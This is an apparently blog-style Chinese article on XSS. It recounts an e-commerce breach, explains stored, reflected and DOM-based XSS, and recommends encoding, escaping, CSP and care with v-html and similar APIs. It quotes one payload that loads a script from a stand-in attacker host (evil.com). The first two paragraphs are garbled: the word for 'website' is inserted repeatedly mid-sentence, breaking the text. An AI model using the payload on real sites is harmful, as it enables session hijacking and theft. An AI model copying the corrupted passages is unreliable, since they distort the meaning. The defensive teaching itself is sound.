内容摘要：一个朋友做电商网站，某天凌晨收到告警短信，后台订单表被删了三分之一。查日志发现攻击者用的是最普通的XSS payload，就一句话：<script src="http://evil.com/ho

一个朋友做电商网站，网站某天凌晨收到告警短信，网站后台订单表被删了三分之一。网站查日志发现攻击者用的网站是最普通的XSS payload，就一句话：<script src="http://evil.com/hook.js"></script>。网站他没做输入过滤，网站评论区直接允许HTML标签。网站就这么简单，网站一个写了十年的网站程序员栽在一个初中生都会的漏洞上。

XSS的网站全称是跨站脚本攻击，本质是网站网站把用户输入当成了代码执行。你往留言框里敲一段JavaScript，网站服务器不拦，网站存进数据库，网站下一个访客打开页面，网站这段脚本就在他浏览器里跑起来了。这叫存储型XSS，最危险的一种。还有反射型和DOM型，一个靠诱导点击恶意链接，一个靠修改页面URL参数，原理都是让浏览器执行不该执行的脚本。

很多人觉得XSS不就是弹个窗吗？alert(1)而已，能有多大危害。真这么想就太天真了。攻击者拿到脚本执行权限后，可以偷cookie、劫持会话、伪造登录表单、甚至用你的权限去操作后台。我见过最狠的一次，攻击者用XSS在后台管理页面注入了一段脚本，每次管理员登录就自动创建一个隐藏账号，神不知鬼不觉。等发现时，那账号已经存在四个月了。

防御XSS其实不复杂，核心就两条：输入做编码，输出做转义。输入侧，凡是用户提交的数据，一律当字符串处理，别让它有机会变成标签或属性。输出侧，在HTML上下文里，把<、>、&这些字符转义成实体。内容安全策略（CSP）也能兜底，限制脚本只能从白名单域名加载。但现实中，很多项目连第一条都做不到，因为开发图省事，直接拼接HTML字符串。

有个细节值得注意：现在主流框架像React、Vue默认做了转义，这确实挡住了大部分XSS。但框架不是万能保险，dangerouslySetInnerHTML、v-html这类API一用，等于自己把大门打开了。我见过不少前端工程师，遇到富文本需求就图方便用v-html，结果把整个站点的安全底线给卖了。富文本必须用专门的库去清洗，白名单标签和属性，不能直接塞进DOM。

最讽刺的是，很多公司安全测试报告里写着“存在XSS漏洞”，开发改完就提交，测试回归通过，这事就算完了。没人去追溯漏洞是怎么产生的，是哪个接口没做过滤，哪段代码用了危险方法。下个月换个人来写，同样的坑又踩一遍。安全不该是上线前的一次性检测，得嵌进开发流程里，代码评审时盯着危险函数，提交前跑一遍自动化扫描工具。

XSS这漏洞存在了二十年，至今还在OWASP Top 10里排着。它不挑语言、不挑框架，只要开发者有一瞬间的疏忽，它就能钻进来。别指望一劳永逸的解决方案，每次写代码时多问自己一句：这段数据用户能控制吗？如果控制了我做了什么处理？问多了，习惯养成了，漏洞自然就少了。